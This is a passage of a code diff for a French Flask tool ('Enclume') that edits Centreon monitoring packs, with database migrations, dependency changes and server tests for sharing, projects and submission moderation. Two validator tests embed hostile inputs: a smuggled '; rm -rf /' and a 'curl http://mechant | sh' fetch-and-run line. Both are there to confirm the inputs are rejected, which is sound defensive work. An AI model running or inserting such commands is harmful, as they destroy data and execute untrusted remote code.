||||
)
|
||||
with context.begin_transaction():
|
||||
context.run_migrations()
|
||||
|
||||
|
||||
def run_migrations_online() -> None:
|
||||
connectable = engine_from_config(
|
||||
config.get_section(config.config_ini_section, {}),
|
||||
prefix="sqlalchemy.",
|
||||
poolclass=pool.NullPool,
|
||||
)
|
||||
with connectable.connect() as connection:
|
||||
context.configure(connection=connection, target_metadata=target_metadata)
|
||||
with context.begin_transaction():
|
||||
context.run_migrations()
|
||||
|
||||
|
||||
if context.is_offline_mode():
|
||||
run_migrations_offline()
|
||||
else:
|
||||
run_migrations_online()
|
||||
@@ -0,0 +1,22 @@
|
||||
"""${message}
|
||||
|
||||
Revision ID: ${up_revision}
|
||||
Revises: ${down_revision | comma,n}
|
||||
Date: ${create_date}
|
||||
"""
|
||||
from alembic import op
|
||||
import sqlalchemy as sa
|
||||
${imports if imports else ""}
|
||||
|
||||
revision = ${repr(up_revision)}
|
||||
down_revision = ${repr(down_revision)}
|
||||
branch_labels = ${repr(branch_labels)}
|
||||
depends_on = ${repr(depends_on)}
|
||||
|
||||
|
||||
def upgrade() -> None:
|
||||
${upgrades if upgrades else "pass"}
|
||||
|
||||
|
||||
def downgrade() -> None:
|
||||
${downgrades if downgrades else "pass"}
|
||||
@@ -0,0 +1,73 @@
|
||||
"""Socle : comptes, projets, partages, soumissions.
|
||||
|
||||
Revision ID: 0001
|
||||
Revises:
|
||||
"""
|
||||
|
||||
import sqlalchemy as sa
|
||||
from alembic import op
|
||||
|
||||
revision = "0001"
|
||||
down_revision = None
|
||||
branch_labels = None
|
||||
depends_on = None
|
||||
|
||||
|
||||
def upgrade() -> None:
|
||||
op.create_table(
|
||||
"utilisateurs",
|
||||
sa.Column("id", sa.Integer(), primary_key=True),
|
||||
sa.Column("sujet", sa.String(255), nullable=False, unique=True),
|
||||
sa.Column("email", sa.String(320), server_default=""),
|
||||
sa.Column("nom", sa.String(255), server_default=""),
|
||||
sa.Column("administrateur", sa.Boolean(), server_default=sa.false()),
|
||||
sa.Column("cree_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
|
||||
sa.Column("vu_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
|
||||
)
|
||||
|
||||
op.create_table(
|
||||
"projets",
|
||||
sa.Column("id", sa.Integer(), primary_key=True),
|
||||
sa.Column("utilisateur_id", sa.Integer(), sa.ForeignKey("utilisateurs.id"), nullable=False),
|
||||
sa.Column("nom", sa.String(255), server_default="Projet sans nom"),
|
||||
sa.Column("contenu", sa.Text(), nullable=False),
|
||||
sa.Column("cree_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
|
||||
sa.Column("maj_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
|
||||
)
|
||||
op.create_index("ix_projets_utilisateur", "projets", ["utilisateur_id"])
|
||||
|
||||
op.create_table(
|
||||
"partages",
|
||||
sa.Column("id", sa.String(32), primary_key=True),
|
||||
sa.Column("contenu", sa.Text(), nullable=False),
|
||||
sa.Column("nom", sa.String(255), server_default=""),
|
||||
sa.Column("utilisateur_id", sa.Integer(), sa.ForeignKey("utilisateurs.id"), nullable=True),
|
||||
sa.Column("cree_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
|
||||
sa.Column("expire_le", sa.DateTime(timezone=True), nullable=False),
|
||||
sa.Column("vues", sa.Integer(), server_default="0"),
|
||||
)
|
||||
op.create_index("ix_partages_expire", "partages", ["expire_le"])
|
||||
|
||||
op.create_table(
|
||||
"soumissions",
|
||||
sa.Column("id", sa.Integer(), primary_key=True),
|
||||
sa.Column("utilisateur_id", sa.Integer(), sa.ForeignKey("utilisateurs.id"), nullable=False),
|
||||
sa.Column("pack_id", sa.String(64), nullable=False),
|
||||
sa.Column("categorie", sa.String(32), nullable=False),
|
||||
sa.Column("nom", sa.String(255), server_default=""),
|
||||
sa.Column("contenu", sa.Text(), nullable=False),
|
||||
sa.Column("message", sa.Text(), server_default=""),
|
||||
sa.Column("statut", sa.String(16), server_default="en_attente"),
|
||||
sa.Column("reponse", sa.Text(), server_default=""),
|
||||
sa.Column("url_pr", sa.String(512), server_default=""),
|
||||
sa.Column("cree_le", sa.DateTime(timezone=True), server_default=sa.func.now()),
|
||||
sa.Column("traite_le", sa.DateTime(timezone=True), nullable=True),
|
||||
)
|
||||
op.create_index("ix_soumissions_statut", "soumissions", ["statut"])
|
||||
|
||||
|
||||
def downgrade() -> None:
|
||||
op.drop_table("soumissions")
|
||||
op.drop_table("partages")
|
||||
op.drop_table("projets")
|
||||
op.drop_table("utilisateurs")
|
||||
@@ -1,3 +1,8 @@
|
||||
Flask>=3.0,<4.0
|
||||
PyYAML>=6.0,<7.0
|
||||
gunicorn>=22.0,<27.0
|
||||
Authlib>=1.3,<2.0
|
||||
Flask-SQLAlchemy>=3.1,<4.0
|
||||
SQLAlchemy>=2.0,<3.0
|
||||
alembic>=1.13,<2.0
|
||||
psycopg[binary]>=3.1,<4.0
|
||||
@@ -36,6 +36,13 @@ def test_prefixe_applique_aux_references():
|
||||
assert liaison.count("ACME-") == 2
|
||||
|
||||
|
||||
def test_version_historique_convertie():
|
||||
"""Un projet enregistre avec l'ancienne notation reste lisible."""
|
||||
projet = Project.from_dict({"centreon_version": "24.x"})
|
||||
assert projet.centreon_version == "24.10"
|
||||
assert Project.from_dict({}).centreon_version == "25.10"
|
||||
|
||||
|
||||
def test_macros_trois_champs_sur_ancienne_version():
|
||||
projet = projet_exemple()
|
||||
projet.centreon_version = "legacy"
|
||||
@@ -91,3 +98,26 @@ def test_repli_sur_le_catalogue_de_l_image(tmp_path, monkeypatch):
|
||||
donnees = reponse.get_json()
|
||||
assert donnees["packs"] >= 20
|
||||
assert donnees["source_catalogue"] == "catalog"
|
||||
|
||||
|
||||
def test_toutes_les_ressources_de_la_page_existent():
|
||||
"""Un lien casse vers le script rend l'interface muette sans aucune erreur serveur."""
|
||||
import re
|
||||
|
||||
client = create_app().test_client()
|
||||
html = client.get("/").data.decode()
|
||||
refs = re.findall(r'(?:src|href)="(/static/[^"]+)"', html)
|
||||
assert refs, "la page ne reference aucune ressource statique"
|
||||
for ref in refs:
|
||||
assert client.get(ref).status_code == 200, f"ressource introuvable : {ref}"
|
||||
|
||||
|
||||
def test_le_script_expose_les_gestionnaires_attendus():
|
||||
"""Les identifiants du gabarit et ceux du script doivent correspondre."""
|
||||
import re
|
||||
|
||||
client = create_app().test_client()
|
||||
html = client.get("/").data.decode()
|
||||
script = client.get("/static/editeur.js").data.decode()
|
||||
for identifiant in re.findall(r'id="(btn-[^"]+|projet-[^"]+)"', html):
|
||||
assert identifiant in script, f"aucun gestionnaire pour {identifiant}"
|
||||
@@ -0,0 +1,279 @@
|
||||
"""Tests des fonctionnalites serveur : partage, projets, soumissions, moderation.
|
||||
|
||||
La base est un SQLite temporaire ; PostgreSQL n'apporte rien de plus a verifier
|
||||
ici, et la CI reste sans service externe.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import importlib
|
||||
import json
|
||||
|
||||
import pytest
|
||||
|
||||
PACK_VALIDE = """
|
||||
id: app-rabbitmq
|
||||
name: RabbitMQ
|
||||
category: application
|
||||
status: to-verify
|
||||
plugin: centreon_rabbitmq_restapi.pl
|
||||
description: Supervision d'un broker RabbitMQ via son API de management.
|
||||
host_template:
|
||||
name: App-RabbitMQ-custom
|
||||
alias: Applicatif RabbitMQ
|
||||
parents: [generic-active-host-custom]
|
||||
macros:
|
||||
- {name: RABBITPORT, value: "15672", description: "Port de l'API"}
|
||||
services:
|
||||
- name: Queues
|
||||
alias: Queues
|
||||
description: Messages en attente
|
||||
line: "$CENTREONPLUGINS$/centreon_rabbitmq_restapi.pl --plugin=apps::rabbitmq::restapi::plugin --mode=queues --hostname=$HOSTADDRESS$"
|
||||
macros:
|
||||
- {name: WARNING, value: "1000", description: "Seuil warning"}
|
||||
"""
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def app(tmp_path, monkeypatch):
|
||||
monkeypatch.setenv("ENCLUME_DATABASE_URL", f"sqlite:///{tmp_path/'essai.db'}")
|
||||
monkeypatch.setenv("ENCLUME_CATALOG", "catalog")
|
||||
monkeypatch.setenv("ENCLUME_SECRET_KEY", "cle-de-test")
|
||||
monkeypatch.setenv("ENCLUME_COOKIE_SECURE", "0")
|
||||
|
||||
import enclume.config, enclume.db, enclume.auth, enclume.routes_donnees, enclume.webapp
|
||||
|
||||
for module in (enclume.config, enclume.db, enclume.auth, enclume.routes_donnees, enclume.webapp):
|
||||
importlib.reload(module)
|
||||
|
||||
application = enclume.webapp.create_app()
|
||||
with application.app_context():
|
||||
enclume.db.db.create_all()
|
||||
return application
|
||||
|
||||
|
||||
def _connecter(app, client, administrateur=False):
|
||||
"""Cree un compte et ouvre une session, sans passer par le fournisseur OIDC."""
|
||||
from enclume.db import Utilisateur, db
|
||||
|
||||
with app.app_context():
|
||||
utilisateur = Utilisateur(
|
||||
sujet="sujet-de-test", email="[email protected]", nom="Testeur",
|
||||
administrateur=administrateur,
|
||||
)
|
||||
db.session.add(utilisateur)
|
||||
db.session.commit()
|
||||
identifiant = utilisateur.id
|
||||
with client.session_transaction() as session:
|
||||
session["utilisateur_id"] = identifiant
|
||||
return identifiant
|
||||
|
||||
|
||||
# --------------------------------------------------------------- chantier 3
|
||||
|
||||
def test_partage_cree_et_relu(app):
|
||||
client = app.test_client()
|
||||
projet = {"name": "Projet partage", "commands": [{"name": "X", "line": "$USER1$/check_ping"}]}
|
||||
reponse = client.post("/api/partages", json={"project": projet})
|
||||
assert reponse.status_code == 200
|
||||
identifiant = reponse.get_json()["id"]
|
||||
|
||||
relu = client.get(f"/api/partages/{identifiant}")
|
||||
assert relu.status_code == 200
|
||||
assert relu.get_json()["project"]["name"] == "Projet partage"
|
||||
|
||||
|
||||
def test_partage_vide_les_mots_de_passe(app):
|
||||
client = app.test_client()
|
||||
projet = {
|
||||
"name": "Avec secret",
|
||||
"host_templates": [
|
||||
{"name": "H", "macros": [{"name": "PASSWORD", "value": "secret", "is_password": True}]}
|
||||
],
|
||||
}
|
||||
identifiant = client.post("/api/partages", json={"project": projet}).get_json()["id"]
|
||||
relu = client.get(f"/api/partages/{identifiant}").get_json()
|
||||
assert relu["project"]["host_templates"][0]["macros"][0]["value"] == ""
|
||||
|
||||
|
||||
def test_partage_inconnu(app):
|
||||
assert app.test_client().get("/api/partages/inexistant").status_code == 404
|
||||
|
||||
|
||||
def test_projets_enregistres_cycle_complet(app):
|
||||
client = app.test_client()
|
||||
_connecter(app, client)
|
||||
|
||||
cree = client.post("/api/projets", json={"project": {"name": "Mon projet"}})
|
||||
assert cree.status_code == 200
|
||||
identifiant = cree.get_json()["id"]
|
||||
|
||||
assert len(client.get("/api/projets").get_json()) == 1
|
||||
assert client.get(f"/api/projets/{identifiant}").get_json()["project"]["name"] == "Mon projet"
|
||||
assert client.delete(f"/api/projets/{identifiant}").status_code == 200
|
||||
assert client.get("/api/projets").get_json() == []
|
||||
|
||||
|
||||
def test_projets_refuses_sans_connexion(app):
|
||||
assert app.test_client().get("/api/projets").status_code == 401
|
||||
|
||||
|
||||
def test_un_compte_ne_voit_pas_les_projets_d_un_autre(app):
|
||||
from enclume.db import Projet, Utilisateur, db
|
||||
|
||||
client = app.test_client()
|
||||
_connecter(app, client)
|
||||
with app.app_context():
|
||||
autre = Utilisateur(sujet="autre")
|
||||
db.session.add(autre)
|
||||
db.session.commit()
|
||||
projet = Projet(utilisateur_id=autre.id, nom="Prive", contenu="{}")
|
||||
db.session.add(projet)
|
||||
db.session.commit()
|
||||
identifiant = projet.id
|
||||
|
||||
assert client.get(f"/api/projets/{identifiant}").status_code == 404
|
||||
assert client.delete(f"/api/projets/{identifiant}").status_code == 404
|
||||
|
||||
|
||||
# --------------------------------------------------------------- chantier 5
|
||||
|
||||
def test_soumission_valide_puis_enregistree(app):
|
||||
client = app.test_client()
|
||||
_connecter(app, client)
|
||||
|
||||
verification = client.post("/api/soumissions/verifier", json={"yaml": PACK_VALIDE})
|
||||
assert verification.get_json()["valide"] is True
|
||||
|
||||
envoi = client.post("/api/soumissions", json={"yaml": PACK_VALIDE, "message": "premier pack"})
|
||||
assert envoi.status_code == 200
|
||||
assert envoi.get_json()["statut"] == "en_attente"
|
||||
assert len(client.get("/api/soumissions").get_json()) == 1
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"modification, attendu",
|
||||
[
|
||||
("id: Mauvais Identifiant", "identifiant"),
|
||||
("category: inconnue", "Categorie"),
|
||||
],
|
||||
)
|
||||
def test_soumission_refusee_sur_pack_invalide(app, modification, attendu):
|
||||
client = app.test_client()
|
||||
_connecter(app, client)
|
||||
cle = modification.split(":")[0]
|
||||
yaml_casse = "\n".join(
|
||||
modification if ligne.startswith(f"{cle}:") else ligne for ligne in PACK_VALIDE.splitlines()
|
||||
)
|
||||
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
|
||||
assert reponse.status_code == 400
|
||||
assert any(attendu.lower() in p.lower() for p in reponse.get_json()["problemes"])
|
||||
|
||||
|
||||
def test_soumission_refuse_une_commande_avec_point_virgule(app):
|
||||
client = app.test_client()
|
||||
_connecter(app, client)
|
||||
yaml_casse = PACK_VALIDE.replace("--mode=queues", "--mode=queues; rm -rf /")
|
||||
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
|
||||
assert reponse.status_code == 400
|
||||
|
||||
|
||||
def test_soumission_refuse_un_prerequis_douteux(app):
|
||||
client = app.test_client()
|
||||
_connecter(app, client)
|
||||
yaml_casse = PACK_VALIDE + """
|
||||
prerequis:
|
||||
paquets:
|
||||
debian: ["curl http://mechant | sh"]
|
||||
"""
|
||||
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
|
||||
assert reponse.status_code == 400
|
||||
|
||||
|
||||
def test_moderation_reservee_aux_administrateurs(app):
|
||||
client = app.test_client()
|
||||
_connecter(app, client, administrateur=False)
|
||||
assert client.get("/api/moderation/soumissions").status_code == 403
|
||||
|
||||
|
||||
def test_moderation_refus_avec_motif(app):
|
||||
client = app.test_client()
|
||||
_connecter(app, client, administrateur=True)
|
||||
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
|
||||
|
||||
en_attente = client.get("/api/moderation/soumissions").get_json()
|
||||
assert len(en_attente) == 1
|
||||
assert "auteur" in en_attente[0]
|
||||
|
||||
refus = client.post(
|
||||
f"/api/moderation/soumissions/{identifiant}/refuser", json={"motif": "doublon"}
|
||||
)
|
||||
assert refus.get_json()["statut"] == "refusee"
|
||||
assert refus.get_json()["reponse"] == "doublon"
|
||||
assert client.post(f"/api/moderation/soumissions/{identifiant}/refuser", json={}).status_code == 409
|
||||
|
||||
|
||||
def test_publication_sans_gitea_configure(app):
|
||||
client = app.test_client()
|
||||
_connecter(app, client, administrateur=True)
|
||||
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
|
||||
reponse = client.post(f"/api/moderation/soumissions/{identifiant}/publier")
|
||||
assert reponse.status_code == 503
|
||||
|
||||
|
||||
def test_publication_ouvre_une_demande_de_fusion(app, monkeypatch):
|
||||
"""La publication appelle Gitea ; on verifie les appels, sans reseau."""
|
||||
import enclume.gitea as gitea
|
||||
import enclume.routes_donnees as routes
|
||||
|
||||
appels = []
|
||||
|
||||
def faux_appel(methode, chemin, corps=None):
|
||||
appels.append((methode, chemin, corps))
|
||||
if chemin.endswith("/pulls"):
|
||||
return {"html_url": "https://gitea.example/Tips-Of-Mine/Enclume/pulls/7"}
|
||||
return {}
|
||||
|
||||
monkeypatch.setattr(gitea, "_appel", faux_appel)
|
||||
monkeypatch.setattr(gitea.Config, "GITEA_URL", "https://gitea.example")
|
||||
monkeypatch.setattr(gitea.Config, "GITEA_TOKEN", "jeton")
|
||||
monkeypatch.setattr(gitea.Config, "GITEA_PROPRIETAIRE", "Tips-Of-Mine")
|
||||
monkeypatch.setattr(gitea.Config, "GITEA_DEPOT", "Enclume")
|
||||
monkeypatch.setattr(routes.Config, "gitea_actif", classmethod(lambda cls: True))
|
||||
|
||||
client = app.test_client()
|
||||
_connecter(app, client, administrateur=True)
|
||||
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
|
||||
|
||||
reponse = client.post(f"/api/moderation/soumissions/{identifiant}/publier")
|
||||
assert reponse.status_code == 200
|
||||
resultat = reponse.get_json()
|
||||
assert resultat["statut"] == "publiee"
|
||||
assert resultat["url_pr"].endswith("/pulls/7")
|
||||
|
||||
creation, demande = appels
|
||||
assert creation[1].endswith("catalog/application/app-rabbitmq.yml")
|
||||
assert creation[2]["new_branch"].startswith("pack/app-rabbitmq-")
|
||||
assert demande[2]["head"] == creation[2]["new_branch"]
|
||||
assert demande[2]["base"] == "main"
|
||||
|
||||
|
||||
# ------------------------------------------------------------ etat du site
|
||||
|
||||
def test_les_fonctions_sont_annoncees(app):
|
||||
fonctions = app.test_client().get("/sante").get_json()["fonctions"]
|
||||
assert fonctions["partage"] is True # base presente
|
||||
assert fonctions["comptes"] is False # OIDC absent en test
|
||||
assert fonctions["publication_gitea"] is False
|
||||
|
||||
|
||||
def test_page_de_partage_sert_l_editeur(app):
|
||||
reponse = app.test_client().get("/p/quelconque")
|
||||
assert reponse.status_code == 200
|
||||
assert b"donnees-contexte" in reponse.data
|
||||
|
||||
|
||||
def test_moderation_demande_la_connexion(app):
|
||||
page = app.test_client().get("/moderation")
|
||||
assert page.status_code == 200
|
||||
assert "Connexion requise".encode() in page.data
|
||||
Reference in new issue
Block a user